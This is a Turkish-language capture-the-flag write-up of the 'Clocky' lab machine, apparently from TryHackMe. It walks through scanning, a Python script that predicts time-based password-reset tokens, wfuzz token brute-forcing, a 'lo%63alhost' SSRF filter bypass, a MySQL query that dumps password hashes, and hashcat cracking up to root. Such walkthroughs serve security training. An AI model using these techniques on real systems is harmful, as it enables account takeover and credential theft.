Post

Clocky

Pwn the clock and gain root access

Flag 1

nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~]
└─# nmap -T4 -sV 10.10.169.91 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-05 20:23 UTC
Nmap scan report for 10.10.169.91 (10.10.169.91)
Host is up (0.094s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41
8000/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.00 seconds

22 portunda SSH 80 ve 8000 portlarında HTTP servisi çalışıyor.

80 ve 8000 portlarındaki siteleri görüntüleme iznimiz yok.

İki sitede de dizin taraması yaptım. 80 portunda bir sonuç alamazken 8000 portunda robots.txt dosyası buldum.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://10.10.169.91:8000  -w /usr/share/wordlists/dirb/common.txt -x txt,php -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.169.91:8000
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/robots.txt           (Status: 200) [Size: 115]
/robots.txt           (Status: 200) [Size: 115]
Progress: 13842 / 13845 (99.98%)
===============================================================
Finished
===============================================================

Flag 2

robots.txt dosyasında yazan dosya uzantılarıyla tarama yaptım.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://10.10.169.91:8000  -w /usr/share/wordlists/dirb/common.txt -x sql,zip,bak -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.169.91:8000
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              sql,zip,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.zip            (Status: 200) [Size: 1922]

index.zip dosyasını buldum ve indirdim.

zip dosyasının içinde flag2.txt dosyası var.

Flag 3

app.py dosyasını inceledim.

Dosyanın sonunda uygulamanın çalıştığı port numarası yazıyor.

http://10.10.169.91:8080 portunda bir web sitesi çalışıyor.

app.py dosyasında 3 endpoint gördüm.

/administrator

/forgot_password

ve password_reset

password_reset dizininde “Invalid parameter” hatası ile karşılaşıyoruz. Hangi parametreyi vereceğimi bilmiyorum. FFUF ile brute force atıyorum.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root㉿kali)-[~/Desktop]
└─# ffuf -w /root/Downloads/well-known-parameter-names-brute-force.txt -u http://10.10.169.91:8080/password_reset?FUZZ=test -fw 1

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.169.91:8080/password_reset?FUZZ=test
 :: Wordlist         : FUZZ: /root/Downloads/well-known-parameter-names-brute-force.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

id                      [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 80ms]
action                  [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 81ms]
p                       [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 83ms]
title                   [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 83ms]
key                     [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 84ms]
status                  [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 85ms]
code                    [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 86ms]
start                   [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 80ms]
q                       [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 82ms]
submit                  [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 82ms]
user                    [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 83ms]
file                    [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 84ms]
token                   [Status: 200, Size: 22, Words: 2, Lines: 1, Duration: 85ms]
page                    [Status: 200, Size: 26, Words: 2, Lines: 1, Duration: 86ms]

“token” parametresi farklı bir çıktı döndürüyor.

Gereken token’ı nasıl bulacağımı bilmiyordum. Github’da bu CTF için yazılmış bir script ile karşılaştım.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import hashlib
import datetime

usernames=['root','admin','test','guest','info','adm','mysql','user','administrator','oracle','ftp','pi','puppet','ansible','ec2-user','vagrant','azureuser','jane','clarice']

#Correct username is administrator
for x in usernames:
	data={'username':x}
	requests.post('http://<IP-ADDR-HERE>/forgot_password',data=data) #Change ip address
	value=datetime.datetime.now(datetime.timezone.utc)
	user1=x
	for i in range(10):
		time = str(value)[:-14]+str(i)+"."
		for i in range(100):
			if(i<10):
				lnk = time+"0"+str(i)+" . " + user1.upper()
				lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
				with open('hashes.txt','a') as hashes:
					hashes.write(lnk+'\n')
				
			else:
				lnk = time+str(i)+" . " + user1.upper() 
				lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
				with open('hashes.txt','a') as hashes:
					hashes.write(lnk+'\n')
				
				
print('Check hashes.txt')

Script kısaca forgot_password’a bir post request’i atıyor ve bu post request’inin zamanını yakalayarak kullancı adları için bir token oluşturuyor. Oluşturulan token’ları hashes.txt dosyasına kaydediyor.

Script’i çalıştıralım.

1
2
3
┌──(root㉿kali)-[~/Downloads]
└─# python3 Clocky_CTF.py
Check hashes.txt

Wfuzz ile brute force başlatıyorum.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/Downloads]
└─# wfuzz -u 'http://10.10.169.91:8080/password_reset?token=FUZZ' -w hashes.txt --hw 2
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.169.91:8080/password_reset?token=FUZZ
Total requests: 19000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                 
=====================================================================

000008994:   200        53 L     108 W      1627 Ch     "d9999e1971a37b3865bf3a8e40c19dff259fa297" 

Token’ı bulduk. Artık şifreyi değiştirebiliriz.

/administrator’a giderek değiştirdiğimiz şifreyle giriş yapıyoruz.

Flag 4

Test için bir değer girdim. boş bir file dosyası indirdi.

localhost’a gitmemize ise izin verilmiyor.

lo%63alhost ile bu sorunu çözebiliriz.

app.py içerisinde database.sql dosyası görmüştüm.

http:.//lo%63alhost/database.sql yazarak dosyayı indiriyorum.

ve 4. flag’i bu şeiklde alıyoruz.

Flag 5

app.py dosyasında yorum satırında 2 isim buldum, clarice ve jane.

İndirdiğim database.sql dosyasının sonunda bir şifre var.

INSERT INTO passwords (password) VALUES ("Th1s_1s_4_v3ry_s3cur3_p4ssw0rd");

İki kullanıcıyla giriş yapmayı denedim.

clarrice kullanıcısıyla makineye girdim.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Downloads]
└─# ssh clarice@10.10.169.91           
The authenticity of host '10.10.169.91 (10.10.169.91)' can't be established.
ED25519 key fingerprint is SHA256:vnov3QU45drV6QHH7EaLHkEmEqAi7YqLURLhQ/HvRqU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.169.91' (ED25519) to the list of known hosts.
clarice@10.10.169.91's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-165-generic x86_64)
clarice@clocky:~$ 
1
2
3
4
clarice@clocky:~$ ls
app  flag5.txt  snap
clarice@clocky:~$ cat flag5.txt
THM{-------------}

Flag 6

Yetki yükseltmek için SUID dosyalarını, root yetkisiyle çalıştırabileceğimiz programları, cronjob dosyalarını aradım. Linpeas yükleyip çalıştırsam da bir sonuca varamadım.

Uzun süre mental çöküntü geçirdikten sonra bir dosya dikkatimi çekti:

1
2
3
4
5
6
7
8
9
10
11
12
13
clarice@clocky:~$ cd app
clarice@clocky:~/app$ ls -la
total 36
drwxrwxr-x 4 clarice clarice 4096 Oct 25  2023 .
drwxr-xr-x 8 clarice clarice 4096 Oct 25  2023 ..
-rw-rw-r-- 1 clarice clarice 7361 Oct 25  2023 app.py
-rw-rw-r-- 1 clarice clarice   20 May 21  2023 .env
-rw-rw-r-- 1 clarice clarice  361 Feb 26  2023 index.html
drwxrwxr-x 2 clarice clarice 4096 Oct 25  2023 __pycache__
-rw-rw-r-- 1 clarice clarice   36 Oct 25  2023 sec.py
drwxrwxr-x 2 clarice clarice 4096 May 18  2023 templates
clarice@clocky:~/app$ cat .env
db=seG3mY4F3tKCJ1Yj

app/.env dosyasının içinde database şifresini buldum. user ise app.py dosyası içerisinde.

Bulduğum bilgilerle mysql’e girdim.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
clarice@clocky:~/app$ mysql -u clocky_user -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 8.0.34-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| clocky             |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------------------------------------------+
| Tables_in_mysql                                      |
+------------------------------------------------------+
| columns_priv                                         |
| component                                            |
| db                                                   |
| default_roles                                        |
| engine_cost                                          |
| func                                                 |
| general_log                                          |
| global_grants                                        |
| gtid_executed                                        |
| help_category                                        |
| help_keyword                                         |
| help_relation                                        |
| help_topic                                           |
| innodb_index_stats                                   |
| innodb_table_stats                                   |
| password_history                                     |
| plugin                                               |
| procs_priv                                           |
| proxies_priv                                         |
| replication_asynchronous_connection_failover         |
| replication_asynchronous_connection_failover_managed |
| replication_group_configuration_version              |
| replication_group_member_actions                     |
| role_edges                                           |
| server_cost                                          |
| servers                                              |
| slave_master_info                                    |
| slave_relay_log_info                                 |
| slave_worker_info                                    |
| slow_log                                             |
| tables_priv                                          |
| time_zone                                            |
| time_zone_leap_second                                |
| time_zone_name                                       |
| time_zone_transition                                 |
| time_zone_transition_type                            |
| user                                                 |
+------------------------------------------------------+
37 rows in set (0.00 sec)

mysql> select * from user;

user tablosundaki verileri görmeye çalıştığımda makine yüzüme tükürüyor.

hashcat sayfasında şöyle bir sorgu buldum:

SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%'; sorgusunu kullanarak hash’leri uygun formatta görüntüledim.

1
2
3
4
5
6
7
8
9
10
mysql> SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
+------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+
| user             | hash                                                                                                                                          |
+------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+
| clocky_user      | $mysql$A$0005*077E1B6B675D350F435D5D1C686D12566C08635A*5566386F49543936423756525A68516962735568536535654B62486D344C71316B7338707A78446B4E4D39 |
| dev              | $mysql$A$0005*0D172F787569054E322523067049563540383D17*6F31786178584431332F4D6830726C6C6F652F5771636D6D6142444D46367237776A764647676F54536142 |
| clocky_user      | $mysql$A$0005*63671A7C5C3E425E3A0C794352306B531456162B*58774E44786D326C44443557334A39353531676A6C566D4F5A395A39684832537A61696C786D32566B4C2E |
| debian-sys-maint | $mysql$A$0005*456268331A4E3561236636480E4D3F78462A7553*716A4E6262555947697444712F79464C4D384C62617544683833517472615161455479366E5A5774576332 |
| dev              | $mysql$A$0005*1C160A38777C5121134E5D725A58216D5A1D5C3F*6F6B2F577851456465524C4E6771587057456634734A6F6E5A656361774655697A4438466F6B654935462E |
+------------------+-----------------------------------------------------------------------------------------------------------------------------------------------+

dev kullanıcısının hash’ini hashcat ile kırdım.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
┌──(root㉿kali)-[~]
└─# hashcat -a 0 -m 7401 /root/Desktop/hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-12th Gen Intel(R) Core(TM) i5-12400F, 1426/2916 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Counting lines in /root/Desktop/hash.txt.Removing duplicate hashes. Please be patiComparing hashes with potfile entries. PlHashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$mysql$A$005*0D172F787569054E322523067049563540383D17*6F31786178584431332F4D6830726C6C6F652F5771636D6D6142444D46367237776A764647676F54536142:armadillo
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7401 (MySQL $A$ (sha256crypt))
Hash.Target......: $mysql$A$005*0D172F787569054E322523067049563540383D...536142
Time.Started.....: Sun May  5 23:20:38 2024 (38 secs)
Time.Estimated...: Sun May  5 23:21:16 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1336 H/s (12.27ms) @ Accel:80 Loops:256 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 50240/14344385 (0.35%)
Rejected.........: 0/50240 (0.00%)
Restore.Point....: 49920/14344385 (0.35%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4864-5000
Candidate.Engine.: Device Generator
Candidates.#1....: bobocel -> 11111989
Hardware.Mon.#1..: Util: 83%

Started: Sun May  5 23:20:04 2024
Stopped: Sun May  5 23:21:18 2024

Makinede “dev” kullanıcısı yok jane kullanıcısının da şifresi değil.

Root kullanıcısının şifresini bulmuşuz :)))

1
2
3
4
root@clocky:~# ls
flag6.txt  snap
root@clocky:~# cat flag6.txt
THM{---}
This post is licensed under CC BY 4.0 by the author.